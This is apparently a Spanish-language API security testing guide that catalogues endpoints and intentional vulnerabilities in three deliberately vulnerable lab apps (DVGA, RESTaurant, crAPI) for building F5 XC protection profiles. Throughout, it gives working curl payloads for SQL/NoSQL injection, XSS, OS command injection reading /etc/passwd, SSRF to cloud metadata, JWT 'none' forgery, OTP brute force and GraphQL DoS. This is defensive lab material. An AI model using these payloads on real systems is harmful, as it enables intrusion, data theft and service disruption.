- Inicio
- Servidor de origen
- Guía de pruebas de API
Guía de pruebas de API
Descripción general
Sección titulada «Descripción general»Esta guía cataloga todos los endpoints de API, vulnerabilidades intencionales y payloads de ataque en las tres aplicaciones de pruebas de seguridad de API. Úsela para construir patrones de generación de tráfico destinados al desarrollo de perfiles de protección de API en F5 XC.
| Aplicación | Protocolo | Ruta | Puerto | Autenticación | Vulnerabilidades |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | Ninguna (admin: admin/password) | 25 escenarios |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | 7 categorías OWASP API 2023 |
| crAPI | REST (microservicios) | / | 8888 | JWT (Bearer) | 18+ desafíos |
Variables de entorno
Sección titulada «Variables de entorno»ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Sección titulada «DVGA (Damn Vulnerable GraphQL Application)»Endpoint GraphQL: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
Credenciales de administrador: admin / password
Todas las interacciones con DVGA utilizan un único endpoint (/dvga/graphql) con solicitudes POST que contienen payloads JSON {"query":"..."}.
Descripción general del esquema
Sección titulada «Descripción general del esquema»Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← referencia circularReferencia de endpoints
Sección titulada «Referencia de endpoints»| Operación | Tipo | Autenticación | Propósito |
|---|---|---|---|
pastes(public, filter, limit) | Query | No | Listar pastes (inyección SQL mediante filter) |
paste(id) | Query | No | Obtener un paste individual |
me(token) | Query | No | Obtener usuario por JWT (vulnerable a falsificación) |
systemHealth | Query | No | Verificación de estado |
systemUpdate | Query | No | Consulta lenta (~82s, vector DoS) |
systemDiagnostics(cmd) | Query | admin/password | Ejecutar comandos de SO en lista blanca |
createPaste(title, content, public) | Mutation | No | Crear paste (XSS mediante content) |
importPaste(host, port, path, scheme) | Mutation | No | Importar paste remoto (SSRF, inyección de comandos) |
uploadPaste(filename, content) | Mutation | No | Subir paste (path traversal) |
Catálogo de vulnerabilidades
Sección titulada «Catálogo de vulnerabilidades»1. Denegación de servicio (6 escenarios)
Sección titulada «1. Denegación de servicio (6 escenarios)»Ataque de consultas en lote:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'Recursión profunda (referencias circulares entre Owner/Paste):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'Consulta con uso intensivo de recursos (~82 segundos de respuesta):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'Duplicación de campos (repetir el campo 500+ veces):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'Ataque basado en alias (1000 operaciones con alias):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. Divulgación de información (5 escenarios)
Sección titulada «2. Divulgación de información (5 escenarios)»Introspección (enumeración completa del esquema):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'Sugerencias de campos (un error tipográfico revela campos válidos):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'SSRF mediante importPaste (sondeo de servicios internos):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. Inyección (4 escenarios)
Sección titulada «3. Inyección (4 escenarios)»Inyección SQL mediante el parámetro filter:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'XSS almacenado mediante createPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'Inyección en logs (suplantación del nombre de operación):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. Ejecución de código (3 escenarios)
Sección titulada «4. Ejecución de código (3 escenarios)»Inyección de comandos de SO mediante importPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'Comando de SO mediante systemDiagnostics (requiere autenticación de administrador):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. Omisión de autorización (3 escenarios)
Sección titulada «5. Omisión de autorización (3 escenarios)»Falsificación de token JWT (acepta tokens sin firma):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'Escritura arbitraria de archivos mediante uploadPaste (path traversal):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'API RESTaurant (Damn Vulnerable RESTaurant)
Sección titulada «API RESTaurant (Damn Vulnerable RESTaurant)»Swagger UI: ${ORIGIN}/restaurant/docs
Especificación OpenAPI: ${ORIGIN}/restaurant/openapi.json
Autenticación: JWT mediante POST con form-encoded a /restaurant/token
Roles: Customer (predeterminado), Employee, Chef (admin)
Configuración: Registrar y autenticar
Sección titulada «Configuración: Registrar y autenticar»# Registrar un usuario de pruebacurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obtener token JWT (NOTA: form-encoded, no JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"Referencia de endpoints
Sección titulada «Referencia de endpoints»| Endpoint | Método | Autenticación | Rol | Vulnerabilidad |
|---|---|---|---|---|
/restaurant/register | POST | No | — | Creación de usuario |
/restaurant/token | POST | No | — | JWT con secreto débil (97952) |
/restaurant/healthcheck | GET | No | — | Verificación de estado |
/restaurant/profile | GET | Sí | Cualquiera | Perfil de usuario |
/restaurant/profile | PUT | Sí | Cualquiera | BOLA (modificar otros usuarios) |
/restaurant/profile | PATCH | Sí | Cualquiera | BOPLA (asignación masiva de rol) |
/restaurant/users/update_role | PUT | Sí | Cualquiera | BFLA (escalada de rol) |
/restaurant/menu | GET | Sí | Cualquiera | Listar elementos del menú |
/restaurant/menu | PUT | Sí | Employee+ | Crear menú (SSRF mediante imagen) |
/restaurant/menu/{item_id} | PUT | Sí | Employee+ | Actualizar menú (SSRF mediante imagen) |
/restaurant/menu/{item_id} | DELETE | Sí | Cualquiera | BFLA (cualquier usuario puede eliminar) |
/restaurant/orders | GET | Sí | Cualquiera | BOLA (ver todos los pedidos) |
/restaurant/orders | POST | Sí | Cualquiera | Crear pedido |
/restaurant/orders/{order_id} | GET | Sí | Cualquiera | BOLA (acceder a pedidos de otros) |
/restaurant/orders/status/{order_id} | GET | Sí | Cualquiera | Estado del pedido |
/restaurant/admin/stats/disk | GET | Sí | Chef | Inyección de comandos |
/restaurant/reset-password | POST | No | — | Solicitud de restablecimiento de contraseña |
/restaurant/reset-password/new-password | POST | No | — | Establecer nueva contraseña |
/restaurant/referral-code | GET | Sí | Cualquiera | Obtener código de referido |
/restaurant/apply-referral | POST | Sí | Cualquiera | Aplicar referido |
/restaurant/discount-coupons | GET | Sí | Cualquiera | Listar cupones |
Catálogo de vulnerabilidades
Sección titulada «Catálogo de vulnerabilidades»API1:2023 — Autorización de nivel de objeto rota (BOLA)
Sección titulada «API1:2023 — Autorización de nivel de objeto rota (BOLA)»Modificar el perfil de otro usuario:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'Acceder a los pedidos de otros usuarios (enumerar offset):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Autenticación rota
Sección titulada «API2:2023 — Autenticación rota»Fuerza bruta al secreto débil del JWT (el secreto tiene 6 dígitos: 97952):
# Decodificar y falsificar tokens en jwt.io# Secreto: 97952 (puede romperse con hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Falsificar un token de Chef:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# Firmar con secreto: 97952API3:2023 — Autorización de nivel de propiedad de objeto rota (BOPLA)
Sección titulada «API3:2023 — Autorización de nivel de propiedad de objeto rota (BOPLA)»Asignación masiva de rol de Customer a Chef:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'Ruta de escalada: Customer → Employee → Chef:
# Paso 1: Escalar a Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# Paso 2: Escalar a Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Autorización de nivel de función rota (BFLA)
Sección titulada «API5:2023 — Autorización de nivel de función rota (BFLA)»Eliminar un elemento del menú como Customer (debería requerir Employee+):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"Cambiar el rol de otro usuario:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Falsificación de solicitudes del lado del servidor (SSRF)
Sección titulada «API7:2023 — Falsificación de solicitudes del lado del servidor (SSRF)»Sondear endpoints internos mediante image_url del menú (requiere rol Employee):
# Primero escalar a Employee mediante BOPLA, luego:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Inyección
Sección titulada «API8:2023 — Inyección»Inyección de comandos de SO mediante estadísticas de disco (requiere rol Chef):
# Después de escalar a Chef:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"Cadena de ataque completa: de Customer a Root
Sección titulada «Cadena de ataque completa: de Customer a Root»# 1. Registrarcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obtener tokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalar a Chef (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Volver a autenticar para obtener token de nivel ChefTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Inyección de comandos (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Sección titulada «crAPI (OWASP Completely Ridiculous API)»Interfaz web: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (captura de correos para verificación)
Autenticación: Token JWT Bearer (RS256, vulnerable a confusión de algoritmo)
Arquitectura: 7 microservicios (identity, community, workshop, postgres, mongo, mailhog, web)
Configuración: Registrar, verificar correo electrónico e iniciar sesión
Sección titulada «Configuración: Registrar, verificar correo electrónico e iniciar sesión»# 1. Registrarcurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Revisar MailHog para el correo de verificación# Navegar a ${CRAPI}/mailhog/ o usar la API de MailHog:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. Iniciar sesión y obtener token JWTTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"Referencia de endpoints
Sección titulada «Referencia de endpoints»Servicio de identidad
Sección titulada «Servicio de identidad»| Endpoint | Método | Autenticación | Vulnerabilidad |
|---|---|---|---|
/identity/api/auth/signup | POST | No | Registro |
/identity/api/auth/login | POST | No | Token JWT (confusión de algoritmo) |
/identity/api/auth/forget-password | POST | No | Solicitar OTP |
/identity/api/auth/v2/check-otp | POST | No | Sin límite de tasa (fuerza bruta a OTP de 4 dígitos) |
/identity/api/auth/v3/check-otp | POST | No | Versión con límite de tasa |
/identity/api/v2/user/dashboard | GET | Sí | Perfil de usuario |
/identity/api/v2/user/change-email | PUT | Sí | Cambio de correo electrónico |
/identity/api/v2/vehicle/vehicles | GET | Sí | Listar vehículos (filtra UUIDs) |
/identity/api/v2/vehicle/{uuid}/location | GET | Sí | BOLA (vehículo de cualquier usuario) |
/identity/api/v2/user/videos | POST | Sí | Subida de video |
/identity/api/v2/user/videos/{id} | GET | Sí | Exposición de datos (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | Sí | Asignación masiva (inyección de comandos) |
/identity/api/v2/admin/videos/{id} | DELETE | Sí | BFLA (sin verificación de administrador) |
Servicio de comunidad
Sección titulada «Servicio de comunidad»| Endpoint | Método | Autenticación | Vulnerabilidad |
|---|---|---|---|
/community/api/v2/community/posts | GET | Sí | Exposición de datos (filtra vehicle_id, correo electrónico) |
/community/api/v2/community/posts | POST | Sí | Crear publicación en el blog |
/community/api/v2/community/posts/{id}/comments | POST | Sí | Agregar comentario |
/community/api/v2/coupon/validate-coupon | POST | Sí | Inyección NoSQL |
Servicio de taller
Sección titulada «Servicio de taller»| Endpoint | Método | Autenticación | Vulnerabilidad |
|---|---|---|---|
/workshop/api/mechanic | GET | Sí | Exposición de datos (correos de mecánicos) |
/workshop/api/mechanic/mechanic_report | GET | No | BOLA (sin autenticación, IDs secuenciales) |
/workshop/api/merchant/contact_mechanic | POST | Sí | SSRF + DoS |
/workshop/api/shop/products | GET | Sí | Catálogo de productos |
/workshop/api/shop/orders/ | POST | Sí | Crear pedido |
/workshop/api/shop/orders/all | GET | Sí | Listar pedidos |
/workshop/api/shop/orders/{id} | GET | No | BOLA (sin autenticación requerida) |
/workshop/api/shop/orders/{id} | PUT | Sí | Asignación masiva (status, quantity) |
/workshop/api/shop/apply_coupon | POST | Sí | Inyección SQL |
Catálogo de desafíos
Sección titulada «Catálogo de desafíos»Desafío 1 — BOLA: Acceder a la ubicación del vehículo de otro usuario
Sección titulada «Desafío 1 — BOLA: Acceder a la ubicación del vehículo de otro usuario»# Obtener primero el UUID de tu vehículocurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# Acceder al vehículo de otra persona (reemplazar UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"Desafío 2 — BOLA: Acceder a informes de mecánicos (sin autenticación)
Sección titulada «Desafío 2 — BOLA: Acceder a informes de mecánicos (sin autenticación)»# Enumeración de ID secuencial — no se necesita tokenfor i in 1 2 3 4 5; do echo "Informe $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneDesafío 3 — Autenticación rota: Fuerza bruta al OTP de restablecimiento de contraseña
Sección titulada «Desafío 3 — Autenticación rota: Fuerza bruta al OTP de restablecimiento de contraseña»# Solicitar OTP para la víctimacurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# Fuerza bruta al OTP de 4 dígitos (v2 NO tiene límite de tasa)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneDesafío 4 — Exposición de datos: Filtrar correos electrónicos de mecánicos
Sección titulada «Desafío 4 — Exposición de datos: Filtrar correos electrónicos de mecánicos»curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolDesafío 5 — Exposición de datos: Parámetros internos de conversión de video
Sección titulada «Desafío 5 — Exposición de datos: Parámetros internos de conversión de video»# Subir un video y luego inspeccionar la respuestacurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# Buscar el campo conversion_params en la respuestaDesafío 6 — DoS: Capa 7 mediante Contact Mechanic
Sección titulada «Desafío 6 — DoS: Capa 7 mediante Contact Mechanic»curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'Desafío 7 — BFLA: Eliminar video mediante el endpoint de administrador
Sección titulada «Desafío 7 — BFLA: Eliminar video mediante el endpoint de administrador»# Un usuario regular puede acceder al endpoint de administradorcurl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"Desafíos 8 y 9 — Asignación masiva: Obtener artículos gratis mediante manipulación de pedidos
Sección titulada «Desafíos 8 y 9 — Asignación masiva: Obtener artículos gratis mediante manipulación de pedidos»# Cambiar GET a PUT, modificar status y quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'Desafío 10 — Inyección de comandos mediante parámetros de conversión de video
Sección titulada «Desafío 10 — Inyección de comandos mediante parámetros de conversión de video»curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'Desafío 11 — SSRF mediante Contact Mechanic
Sección titulada «Desafío 11 — SSRF mediante Contact Mechanic»curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'Desafío 12 — Inyección NoSQL: Extraer códigos de cupón
Sección titulada «Desafío 12 — Inyección NoSQL: Extraer códigos de cupón»curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'Desafío 13 — Inyección SQL: Canjear cupones múltiples veces
Sección titulada «Desafío 13 — Inyección SQL: Canjear cupones múltiples veces»curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"Desafío 14 — Acceso a pedidos sin autenticación
Sección titulada «Desafío 14 — Acceso a pedidos sin autenticación»# Sin encabezado Authorization — aún devuelve datosfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneDesafío 15 — Confusión de algoritmo JWT
Sección titulada «Desafío 15 — Confusión de algoritmo JWT»# Falsificar un JWT con el algoritmo "none" (sin verificación de firma):# 1. Establecer el encabezado: {"alg":"none","typ":"JWT"} y codificarlo en base64url# 2. Establecer el payload: {"email":"admin@example.com","role":"admin"} y codificarlo en base64url# 3. Unirlos con puntos, dejar la firma vacía: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"Referencia cruzada con el OWASP API Security Top 10
Sección titulada «Referencia cruzada con el OWASP API Security Top 10»| Categoría OWASP | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | Ubicación de vehículo, informes de mecánicos, pedidos |
| API2: Autenticación rota | Falsificación de JWT (consulta me) | Secreto JWT débil (97952) | Fuerza bruta a OTP (v2), confusión de algoritmo JWT |
| API3: BOPLA | — | PATCH /profile (escalada de rol) | conversion_params de video, exposición de correo de mecánicos |
| API4: Consumo de recursos | DoS por lote, recursión, alias y duplicación de campos | Enumeración de usuarios mediante longitud de respuesta | DoS con contact_mechanic repeat_request |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | DELETE /admin/videos como usuario regular |
| API6: Asignación masiva | — | PUT /orders (status, quantity) | Estado/cantidad de pedido, conversion_params de video |
| API7: SSRF | Mutación importPaste | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: Inyección | SQL (filter), XSS (content), comando de SO (importPaste, systemDiagnostics) | Comando de SO (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: Activos inadecuados | — | — | /auth/v2/check-otp obsoleto (sin límite de tasa) |
| API10: Consumo inseguro | — | — | (indirecto mediante SSRF) |
| Específico de GraphQL | Introspección, lotes, recursión, alias, duplicación de campos, fragmentos circulares | — | — |
Patrones de generación de tráfico
Sección titulada «Patrones de generación de tráfico»Fase 1: Línea base (ruta normal)
Sección titulada «Fase 1: Línea base (ruta normal)»Genere tráfico legítimo para establecer el comportamiento normal de la API antes de probar patrones de ataque.
Línea base de DVGA:
# Consultas normalescurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'Línea base de RESTaurant:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'Línea base de crAPI:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"Fase 2: Tráfico de ataque por categoría OWASP
Sección titulada «Fase 2: Tráfico de ataque por categoría OWASP»Pruebas de BOLA: Enumerar IDs secuenciales, intercambiar identificadores de usuario en solicitudes, acceder a recursos sin ser propietario.
Pruebas de inyección: Payloads SQL en parámetros filter/coupon, inyección de consultas GraphQL, inyección de comandos de SO mediante campos de parámetros.
Pruebas de omisión de autenticación: Falsificar tokens JWT, aplicar fuerza bruta a OTPs, usar versiones obsoletas de la API, confusión de algoritmo.
Pruebas de SSRF: URLs internas en los parámetros importPaste, image_url y mechanic_api.
Pruebas de DoS: Ataques de lote/recursión/alias en GraphQL, repeat_request_if_failed con conteos elevados.
Fase 3: Cadenas de ataque con estado
Sección titulada «Fase 3: Cadenas de ataque con estado»Algunos ataques requieren secuencias de múltiples pasos con estado:
- Cadena de escalada en RESTaurant: Registrar → Token → PATCH de rol a Chef → Volver a autenticar → Inyección de comandos
- Flujo completo de crAPI: Registrar → Verificar correo electrónico (MailHog) → Iniciar sesión → Agregar vehículo → Contactar mecánico (SSRF) → Manipulación de pedidos
- Reconocimiento hasta explotación en DVGA: Introspección → Descubrir systemDiagnostics → Fuerza bruta a credenciales de administrador → Ejecución de comandos de SO
Recomendaciones de tasa
Sección titulada «Recomendaciones de tasa»| Patrón | Solicitudes/seg | Duración | Notas |
|---|---|---|---|
| Línea base (por aplicación) | 10-50 | 5 min | Establecer huella de tráfico normal |
| Enumeración BOLA | 100-500 | 2 min | Escaneo de IDs secuenciales |
| Fuerza bruta a OTP | 1000+ | Hasta encontrar | Máximo 10,000 intentos (4 dígitos) |
| DoS en GraphQL | 10-50 | 30 seg | Cada solicitud es costosa para el servidor |
| Fuzzing de inyección | 50-200 | 5 min | Variar los payloads por solicitud |
| Sondeo SSRF | 5-20 | 2 min | Lento; cada solicitud dispara una solicitud HTTP en el servidor |